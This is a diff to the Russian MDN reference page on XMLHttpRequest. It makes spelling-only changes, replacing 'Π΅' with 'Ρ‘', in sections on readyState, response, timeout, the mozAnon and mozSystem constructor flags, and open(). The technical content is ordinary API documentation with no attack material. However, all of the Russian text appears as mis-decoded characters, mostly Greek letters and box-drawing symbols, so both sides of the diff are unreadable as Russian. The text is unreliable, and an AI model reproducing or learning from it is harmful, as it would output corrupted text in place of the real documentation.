<p><code>XMLHttpRequest</code> это API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для ΠΎΠ±ΠΌΠ΅Π½Π° Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром. Π”Π°Π½Π½Ρ‹ΠΉ API прСдоставляСт простой способ получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ ссылкС Π±Π΅Π· ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. Π­Ρ‚ΠΎ позволяСт ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π²Π΅Π±-страницы Π½Π΅ прСрывая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Β <code>XMLHttpRequest ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² AJAX запросах ΠΈ особСнно Π² single-page прилоТСниях.</code></p>
-<p>XMLHttpRequest ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Microsoft ΠΈ ΠΏΠΎΠ·ΠΆΠ΅ заимствован Mozilla, Apple, ΠΈ Google. БСйчас ΠΎΠ½ <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. НСсмотря Π½Π° своС Π½Π°Π·Π²Π°Π½ΠΈΠ΅,Β <code>XMLHttpRequest</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для получСния Π»ΡŽΠ±Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ XML, ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ ΠΏΠΎΠΌΠΈΠΌΠΎ <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ <code>file</code> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/FTP">ftp</a>).</p>
+<p>XMLHttpRequest ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Microsoft ΠΈ ΠΏΠΎΠ·ΠΆΠ΅ заимствован Mozilla, Apple, ΠΈ Google. БСйчас ΠΎΠ½ <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. НСсмотря Π½Π° своё Π½Π°Π·Π²Π°Π½ΠΈΠ΅,Β <code>XMLHttpRequest</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для получСния Π»ΡŽΠ±Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ XML, ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ ΠΏΠΎΠΌΠΈΠΌΠΎ <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ <code>file</code> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/FTP">ftp</a>).</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с <code>XMLHttpRequest</code>, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ этот ΠΊΠΎΠ΄:</p>
@@ -92,7 +92,7 @@ translation_of: Web/API/XMLHttpRequest
</td>
<td><code>Function?</code></td>
<td>
- <p>Callback - функция, которая вызываСтся всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ <code>readyState мСняСт своС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code>. Callback выполняСтся в ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния.</p>
+ <p>Callback - функция, которая вызываСтся всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ <code>readyState мСняСт своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code>. Callback выполняСтся в ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния.</p>
<div class="warning"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Он Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² синхронных запросах, ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΈΠ·Β Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎΒ ΠΊΠΎΠ΄Π°Β (? must not be used from native code).</div>
</td>
@@ -113,7 +113,7 @@ translation_of: Web/API/XMLHttpRequest
<tr>
<td><code>0</code></td>
<td><code>UNSENT</code></td>
- <td>ΠšΠ»ΠΈΠ΅Π½Ρ‚ создан. ΠœΠ΅Ρ‚ΠΎΠ΄ <code>open()</code> Π΅Ρ‰Π΅ Π½Π΅ Π²Ρ‹Π·Π²Π°Π½.</td>
+ <td>ΠšΠ»ΠΈΠ΅Π½Ρ‚ создан. ΠœΠ΅Ρ‚ΠΎΠ΄ <code>open()</code> Π΅Ρ‰Ρ‘ Π½Π΅ Π²Ρ‹Π·Π²Π°Π½.</td>
</tr>
<tr>
<td><code>1</code></td>
@@ -143,13 +143,13 @@ translation_of: Web/API/XMLHttpRequest
<td><code>response</code></td>
<td>varies</td>
<td>
- <p>Π’Π΅Π»ΠΎ сущности запроса. Богласно полю <code><a href="#responseType">responseType</a></code>, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ (для "json"), ΠΈΠ»ΠΈ строкой. Π Π°Π²Π½ΠΎ <code>null</code> Ссли запрос Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½ с ошибкой.</p>
+ <p>Π’Π΅Π»ΠΎ сущности запроса. Богласно полю <code><a href="#responseType">responseType</a></code>, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ (для "json"), ΠΈΠ»ΠΈ строкой. Π Π°Π²Π½ΠΎ <code>null</code> Ссли запрос Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ ΠΈΠ»ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½ с ошибкой.</p>
</td>
</tr>
<tr id="responseText">
<td><code>responseText</code> {{ReadOnlyInline()}}</td>
<td><code>DOMString</code></td>
- <td>ΠžΡ‚Π²Π΅Ρ‚ Π½Π° запрос Π² Π²ΠΈΠ΄Π΅ строки ΠΈΠ»ΠΈ <code>null</code>Β Π² случаС Ссли запрос Π½Π΅ ΡƒΡΠΏΠ΅ΡˆΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½.</td>
+ <td>ΠžΡ‚Π²Π΅Ρ‚ Π½Π° запрос Π² Π²ΠΈΠ΄Π΅ строки ΠΈΠ»ΠΈ <code>null</code>Β Π² случаС Ссли запрос Π½Π΅ ΡƒΡΠΏΠ΅ΡˆΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½.</td>
</tr>
<tr id="responseType">
<td><code>responseType</code></td>
@@ -181,7 +181,7 @@ translation_of: Web/API/XMLHttpRequest
</tr>
<tr>
<td><code>"json"</code></td>
- <td>JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Π΅ΠΌ парсинга JSON строки, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΉ с сСрвСра.</td>
+ <td>JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ парсинга JSON строки, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΉ с сСрвСра.</td>
</tr>
<tr>
<td><code>"text"</code></td>
@@ -240,7 +240,7 @@ translation_of: Web/API/XMLHttpRequest
<td><code>timeout</code></td>
<td><code>unsigned long</code></td>
<td>
- <p>ВрСмя Π² миллисСкундах, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ запрос Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0 (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. Никогда.</p>
+ <p>ВрСмя Π² миллисСкундах, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ запрос Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0 (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. Никогда.</p>
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅ timeout для синхронных запросов ΠΈΠ·Β owning window.</div>
</td>
@@ -339,9 +339,9 @@ translation_of: Web/API/XMLHttpRequest
<h3 id="XMLHttpRequest()" name="XMLHttpRequest()">XMLHttpRequest()</h3>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β XMLHttpRequest. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ класса.</p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β XMLHttpRequest. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ класса.</p>
-<p>Gecko/Firefox 16 добавляСт нСстандартныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² конструктор, для Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ взаимодСйствия с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ ΠΈΠ½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ,Β (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка Ρ„Π»Π°Π³Π°Β <code>mozAnon</code>Β Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> создаСт ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π²Β XMLHttpRequest спСцификации, Π½ΠΎ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π΅ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² (информация сСнтября 2012).</p>
+<p>Gecko/Firefox 16 добавляСт нСстандартныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² конструктор, для Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ взаимодСйствия с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ ΠΈΠ½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ,Β (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка Ρ„Π»Π°Π³Π°Β <code>mozAnon</code>Β Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> создаёт ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π²Β XMLHttpRequest спСцификации, Π½ΠΎ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π΅ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² (информация сСнтября 2012).</p>
<pre>XMLHttpRequest (
JSObject objParameters
@@ -354,7 +354,7 @@ translation_of: Web/API/XMLHttpRequest
<dd>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π²Π° Ρ„Π»Π°Π³Π°:
<dl>
<dt><code>mozAnon</code></dt>
- <dd>Boolean: ИспользованиС этого Ρ„Π»Π°Π³Π° ΡƒΠ±Π΅Ρ€Π΅Ρ‚ ΠΈΠ· запроса Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ origin, ΠΈ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of β€œUser credentials” in the XMLHttpRequest specification.">user credentials</a>. ΠšΡ€ΠΎΠΌΠ΅ этого, ΠΊΡƒΠΊΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π² запросС, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ запросу ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅Ρ€Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄Β setRequestHeader.</dd>
+ <dd>Boolean: ИспользованиС этого Ρ„Π»Π°Π³Π° ΡƒΠ±Π΅Ρ€Ρ‘Ρ‚ ΠΈΠ· запроса Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ origin, ΠΈ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of β€œUser credentials” in the XMLHttpRequest specification.">user credentials</a>. ΠšΡ€ΠΎΠΌΠ΅ этого, ΠΊΡƒΠΊΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π² запросС, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ запросу ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅Ρ€Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄Β setRequestHeader.</dd>
<dt><code>mozSystem</code></dt>
<dd>Boolean: Если Π²Ρ‹ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот Ρ„Π»Π°Π³ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code>Β Ρ‚ΠΎ это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ cross-Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ запросы Π±Π΅Π· нСобходимости получСния ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² со стороны сСрвСра (CORS). Для использования этого Ρ„Π»Π°Π³Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π»Π°Π³<em>Β <code>mozAnon: true</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ запроса Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½, нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡƒΠΊΠΈ ΠΈ ΠΊΡ€Π΅Π΄Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎΡ‚ Ρ„Π»Π°Π³Β <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677#c68" title="Bug 692677 comment 68">Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ (ΠΎΠ΄ΠΎΠ±Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ) прилоТСниями</a>; ΠΎΠ½ Π½Π΅ сработаСт с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ страницами.</em></dd>
</dl>
@@ -380,7 +380,7 @@ translation_of: Web/API/XMLHttpRequest
<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΈΠ»ΠΈΒ <code>null</code>Β Π² случаСт Ссли ΠΎΡ‚Π²Π΅Ρ‚ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, ΠΈΠ»ΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π΅Ρ‚. ВозвращаСмая строка ΠΈΠΌΠ΅Π΅Ρ‚Β ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒΒ UTF.</p>
<div class="note">
-<p><code><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Если Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ с ΠΎΠ΄Π½ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ, Ρ‚ΠΎ значСния этих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅Π΄Π΅Π½Π΅Π½Ρ‹ Π² ΠΎΠ΄Π½Ρƒ строку, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ запятой ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ.</code></p>
+<p><code><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Если Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π΅ΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ с ΠΎΠ΄Π½ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ, Ρ‚ΠΎ значСния этих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅Π΄Π΅Π½Π΅Π½Ρ‹ Π² ΠΎΠ΄Π½Ρƒ строку, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ запятой ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ.</code></p>
</div>
<h3 id="open()" name="open()">open()</h3>
@@ -406,7 +406,7 @@ translation_of: Web/API/XMLHttpRequest
<dt><code>url</code></dt>
<dd>URL адрСс, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ сообщСниС.</dd>
<dt><code>async</code></dt>
- <dd>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ boolean ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½Ρ‹ΠΉ <code>true. ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ запрос ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ асинхронно. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ</code>Β <code>false</code>, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>send() Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Β Π² ΠΎΠ±Ρ‰Π΅ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния (ΠΈΠ½Π°Ρ‡Π΅ говоря, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ зависнСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя), Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…Β </code> ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий.Β Π’ случаС, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ°Β <code>multipart</code> запроса, Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <strong>Π΄ΠΎΠ»ΠΆΠ΅Π½ </strong>Π±Ρ‹Ρ‚ΡŒΒ <code>true</code>, ΠΈΠ»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.
+ <dd>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ boolean ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½Ρ‹ΠΉ <code>true. ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ запрос ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ асинхронно. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ</code>Β <code>false</code>, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>send() Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Β Π² ΠΎΠ±Ρ‰Π΅ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния (ΠΈΠ½Π°Ρ‡Π΅ говоря, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ зависнСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя), Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ 